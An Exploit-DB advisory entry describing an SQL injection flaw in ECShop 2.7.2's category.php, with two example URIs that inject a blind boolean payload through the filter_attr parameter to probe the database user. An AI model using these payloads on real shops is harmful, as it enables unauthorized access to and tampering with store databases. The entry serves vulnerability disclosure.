ECShop 2.7.2 - 'category.php' SQL Injection

EDB-ID:

33960

CVE:

N/A


Author:

Liscker

Type:

webapps


Platform:

PHP

Date:

2010-05-07


source: https://www.securityfocus.com/bid/40001/info

ECShop is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ECShop 2.7.2 is vulnerable; other versions may also be affected. 

The following example URIs are available:

http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=15%20or%201=2

http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=14%20or%201=2